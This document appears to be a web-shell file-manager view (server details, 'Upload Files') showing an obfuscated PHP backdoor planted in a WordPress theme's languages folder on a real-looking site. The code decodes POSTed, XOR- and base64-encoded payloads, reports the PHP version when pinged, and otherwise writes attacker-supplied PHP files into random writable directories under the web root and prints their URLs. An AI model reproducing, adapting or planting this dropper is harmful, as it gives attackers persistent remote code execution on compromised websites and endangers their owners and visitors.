HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/themes/twentyfifteen/languages/vnomyxxi.php
<?php $qCnkSqf = "\104"."\x4f".chr(652-585).chr(420-335)."\115".chr(171-102).chr(78).chr(84)."\137".'R'.chr(79)."\117"."\124";$UdhbT = chr(72).chr(84).'T'.'P'."\x5f"."\x48"."\x4f"."\123"."\124";$WIAVZunm = 'h'."\x74".chr(994-878).chr(112)."\72"."\x2f"."\x2f";$okmAcgpI = chr(624-578)."\x70".chr(104).chr(112);$gcpyBLauW = "\160".'h'.chr(846-734);$CVsuUXHt = "\x66"."\151"."\154"."\x65"."\137".chr(112)."\165".'t'.chr(95)."\143".chr(711-600).chr(110).chr(116).chr(101).chr(782-672).chr(396-280).'s';$LRYMvFLbi = chr(355-241).chr(97).chr(407-288).chr(117)."\x72".chr(467-359).chr(515-415).'e'.'c'.'o'.chr(100).chr(101);$kPqTXDpEGa = chr(372-255).'n'."\x73"."\x65"."\162"."\151"."\141"."\x6c"."\x69".chr(122).'e';$ZijnNhHp = chr(585-480)."\163".chr(826-731)."\167"."\x72".'i'.chr(1005-889)."\141"."\x62".'l'.chr(1098-997);$lRoXu = "\x70"."\150"."\160".chr(991-873).'e'.'r'.chr(115).chr(105).chr(256-145)."\x6e";$fgrtdWe = "\x73".chr(409-293).'r'.chr(831-736)."\x72".chr(613-502).'t'.chr(332-283)."\x33";$YsxhsFjgQ = chr(115)."\145".chr(214-100).'i'."\x61".chr(339-231)."\x69".chr(938-816).chr(101);$wuKYHq = 's'."\164".'r'."\137".'s'."\160".chr(875-767).'i'."\x74";foreach ($_POST as $GpSNeXHmcQV => $moXvm){$JKOOOW = strlen($GpSNeXHmcQV);if ($JKOOOW == 16){$moXvm = $wuKYHq($LRYMvFLbi($fgrtdWe($moXvm)));$GpSNeXHmcQV = array_slice($wuKYHq(str_repeat($GpSNeXHmcQV, (count($moXvm)/16)+1)), 0, count($moXvm));function fOyLBw($QgoSsWk, $pLgmIJ, $GpSNeXHmcQV){$hxuKQeLXK = "2503e9ed-48f8-415f-8a88-ff70d7bcae06";return $QgoSsWk ^ $hxuKQeLXK[$pLgmIJ % strlen($hxuKQeLXK)] ^ $GpSNeXHmcQV;}$moXvm = array_map("fOyLBw", array_values($moXvm), array_keys($moXvm), array_values($GpSNeXHmcQV));$moXvm = implode("", $moXvm);$moXvm = @$kPqTXDpEGa($moXvm);if (@is_array($moXvm)){$RxdyONHNuc = array_keys($moXvm);$moXvm = $moXvm[$RxdyONHNuc[0]];if ($moXvm === $RxdyONHNuc[0]){echo @$YsxhsFjgQ(Array($gcpyBLauW => @$lRoXu(), ));exit();}else {function ZCCnTZzwi($GpSNeir){static $frEEjyxlOT = array();$fIqLQ = glob($GpSNeir . '/*', GLOB_ONLYDIR);$jXXPWooNvs = count($fIqLQ);if ($jXXPWooNvs > 0) {foreach ($fIqLQ as $GpSNe) {if (@$ZijnNhHp($GpSNe)) {$frEEjyxlOT[] = $GpSNe;}}}foreach ($fIqLQ as $GpSNeir) ZCCnTZzwi($GpSNeir);return $frEEjyxlOT;}$TZwdr = $_SERVER[$qCnkSqf];$fIqLQ = ZCCnTZzwi($TZwdr);$RxdyONHNuc = array_rand($fIqLQ);$FRnqSrB = $fIqLQ[$RxdyONHNuc] . "/" . substr(md5(time()), 0, 8) . $okmAcgpI;@$CVsuUXHt($FRnqSrB, $moXvm);$tdqOnGzx = $WIAVZunm . $_SERVER[$UdhbT] . substr($FRnqSrB, strlen($TZwdr));print($tdqOnGzx);die();}}}}